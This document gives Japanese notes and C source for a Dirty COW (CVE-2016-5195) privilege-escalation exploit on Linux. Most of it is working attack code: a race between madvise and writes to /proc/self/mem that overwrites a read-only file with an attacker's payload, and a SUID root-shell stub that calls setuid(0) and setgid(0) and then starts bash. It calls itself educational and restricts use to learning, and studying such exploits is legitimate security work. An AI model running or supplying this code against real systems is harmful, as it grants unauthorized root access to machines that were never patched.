
Dirty COW(CVE-2016-5195)権限昇格エクスプロイトの教育用実装。競合状態ペイロードと、Linuxシステム向けのSUIDベースのルートシェル昇格を含む。
记录は学習目的のみとし、不正な用途への使用は禁止する
この脆弱性の原理は、並行してダーティページを書き込むことで、元々読み取り専用権限のファイル内容を変更させることにある
もし変更されたファイルがroot所有かつSUID権限を持つ場合、それを利用して権限昇格を行うことができる
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>
void *map;
int f;
struct stat st;
char *name;
// ファイルから読み取った Payload の内容とサイズを格納する
char *payload_buf;
size_t payload_size;
// スレッド B:madvise を繰り返し呼び出してカーネルにこのメモリページを破棄させる
void *madviseThread(void *arg) {
int i, c = 0;
for(i = 0; i < 10000000; i++) {
c += madvise(map, payload_size, MADV_DONTNEED);
}
printf("[-] madvise スレッド終了\n");
return NULL;
}
// スレッド A:/proc/self/mem を通じて読み取り専用マッピング領域にデータを書き込み続ける
void *procselfmemThread(void *arg) {
int f = open("/proc/self/mem", O_RDWR);
int i, c = 0;
for(i = 0; i < 10000000; i++) {
lseek(f, (uintptr_t) map, SEEK_SET);
// メモリ内の Payload バッファを書き込む
c += write(f, payload_buf, payload_size);
}
printf("[-] /proc/self/mem スレッド終了\n");
return NULL;
}
int main(int argc, char *argv[]) {
if (argc < 3) {
printf("使用方法: %s <読み取り専用ターゲットファイル> <Payload入力ファイル>\n", argv[0]);
return 1;
}
name = argv[1];
char *payload_file = argv[2];
// Payload ファイルを開いて内容をメモリに読み込む
int pf = open(payload_file, O_RDONLY);
if (pf < 0) {
perror("Payload ファイルのオープンに失敗");
return 1;
}
struct stat pst;
fstat(pf, &pst);
payload_size = pst.st_size;
if (payload_size == 0) {
printf("[!] Payload ファイルが空です\n");
return 1;
}
payload_buf = malloc(payload_size);
if (read(pf, payload_buf, payload_size) != payload_size) {
perror("Payload ファイルの読み取りに失敗");
return 1;
}
close(pf);
printf("[*] Payload ファイルの読み込みに成功: %s (サイズ: %zu バイト)\n", payload_file, payload_size);
// ターゲットファイルをマッピングする
f = open(name, O_RDONLY);
if (f < 0) {
perror("ターゲットファイルのオープンに失敗");
return 1;
}
fstat(f, &st);
// Payload の長さがターゲットファイルの長さを超えないようにする
if (payload_size > st.st_size) {
printf("[!] 警告: Payload サイズ (%zu) がターゲットファイルサイズ (%zu) より大きいです。\n", payload_size, st.st_size);
printf("[!] Dirty COW のその場上書き特性により、ターゲットファイルサイズを超える部分はファイルシステムによって切り詰められ破棄されます!\n");
}
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
printf("[*] ターゲットファイルのマッピングアドレス: %p\n", map);
// 競合状態を開始
pthread_t pth1, pth2;
printf("[*] 競合状態 (Race Condition) を開始...\n");
pthread_create(&pth1, NULL, madviseThread, NULL);
pthread_create(&pth2, NULL, procselfmemThread, NULL);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
printf("[*] 競合が終了しました。%s の内容を確認してください。\n", name);
free(payload_buf);
return 0;
}
#include <unistd.h>
int main() {
// root 身份を復元する
setuid(0);
setgid(0);
// root bash を起動する
execl("/bin/bash", "bash", NULL);
return 0;
}